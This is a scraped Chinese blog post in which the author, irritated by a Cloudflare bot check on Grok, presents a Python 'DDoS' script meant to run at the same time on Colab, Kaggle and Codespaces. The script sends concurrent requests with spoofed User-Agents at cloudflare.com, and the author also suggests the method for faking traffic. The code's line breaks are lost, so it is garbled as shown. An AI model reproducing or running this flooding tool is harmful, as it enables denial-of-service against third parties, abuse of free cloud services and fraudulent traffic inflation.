当前位置: 首页 > news >正文

ddos 放在多个云主机,同时运行

1. 起因, 目的:

我打开 grok, 被 cloudflare 拦截,问我是不是机器人。

这个情况,如果是别的小网站也就算了,很正常。
大公司也搞这种东西,要么是偷懒,要么是太小气了。
一气之下,我决定写个 ddos, 找几个免费的云端平台,一起运行。

  • 3个平台: colab, kaggle, codespaces

  • 我觉得这个方法,用来刷流量,应该也是可行的。

2. 先看效果

请添加图片描述

ddos
# Filename: concurrent_requests.py
import requests
import time
import random
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
from uuid import uuid4# Global counters for tracking success/failure
success_count = 0
failure_count = 0
lock = Lock()# 修改这里!
target = "https://www.cloudflare.com/"   # 目标num_requests = 1000
max_workers =10def send_request(url, timeout=5):global success_count, failure_countheaders = {'User-Agent': f'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{random.randint(90, 120)}.0.0.0 Safari/537.36'}t = str(uuid4())try:response = requests.get(url, headers=headers, timeout=timeout)response.raise_for_status()with lock:success_count += 1return f"Request succeeded, status code: {response.status_code}" + "_" + texcept Exception as e:with lock:failure_count += 1return f"Request failed: {str(e)}"  + "_" + tdef run_concurrent_requests(url, num_requests=50, max_workers=10):print(f"Starting {num_requests} requests with max {max_workers} concurrent threads")start_time = time.time()with ThreadPoolExecutor(max_workers=max_workers) as executor:# Submit all request tasksfutures = [executor.submit(send_request, url) for _ in range(num_requests)]# Collect resultsfor future in futures:print(future.result())end_time = time.time()print(f"\nTest completed! Total time: {end_time - start_time:.2f} seconds")print(f"Successful requests: {success_count}, Failed requests: {failure_count}")if __name__ == '__main__':run_concurrent_requests(target, num_requests, max_workers)

希望对大家有帮助。

http://www.xdnf.cn/news/1179649.html

相关文章:

  • vue递归树形结构删除不符合数据 生成一个新数组
  • 点击按钮滚动到底功能vue的v-on:scroll运用
  • 04.建造者模式的终极手册:从快餐定制到航天飞船的组装哲学
  • 期待更好的发展
  • 使用全局变量访问 Qt UI 组件的方法文档
  • 基于markdown封装的前端文档编辑工具,markdown.js的解析与应用
  • 开源Qwen凌晨暴击闭源Claude!刷新AI编程SOTA,支持1M上下文
  • SQL基础⑪ | 约束
  • 基于ABC与BP神经网络分类模型的特征选择方法研究(Python实现)
  • 制造业新突破:AR 培训系统助力复杂操作轻松上手​
  • Linux服务器安全自动化审计实战:一键扫描账户/网络/进程/计划任务风险(附开源脚本)
  • 数据库期中复习
  • 【Guava】1.1.我的报告
  • 进程调度的艺术:从概念本质到 Linux 内核实现
  • Windows 10 远程桌面(RDP)防暴力破解脚本
  • 用python自动标注word试题选项注意事项
  • 安全逆向工程学习路线
  • 4.1.2 XmlInclude 在 C# 中的作用及示例
  • 【Unity开发】数据存储——XML
  • web:js函数的prototype(原型对象)属性
  • Opentrons 模块化平台与AI技术助力智能移液创新,赋能AAW™自动化工作站
  • 电商项目_秒杀_架构升级
  • YOLOv4深度解析:革命性的实时目标检测技术
  • 报告研读——103页数据资产价值实现研究报告( 2023)【附全文阅读】
  • 【ECharts✨】解决Vue 中 v-show 导致组件 ECharts 样式异常问题
  • PAT 甲级题目讲解:1003《Emergency》
  • Apache Commons:Java开发者的瑞士军刀
  • C语言第四章函数
  • Perf编译和使用
  • kettle插件-kettle数据挖掘ARFF插件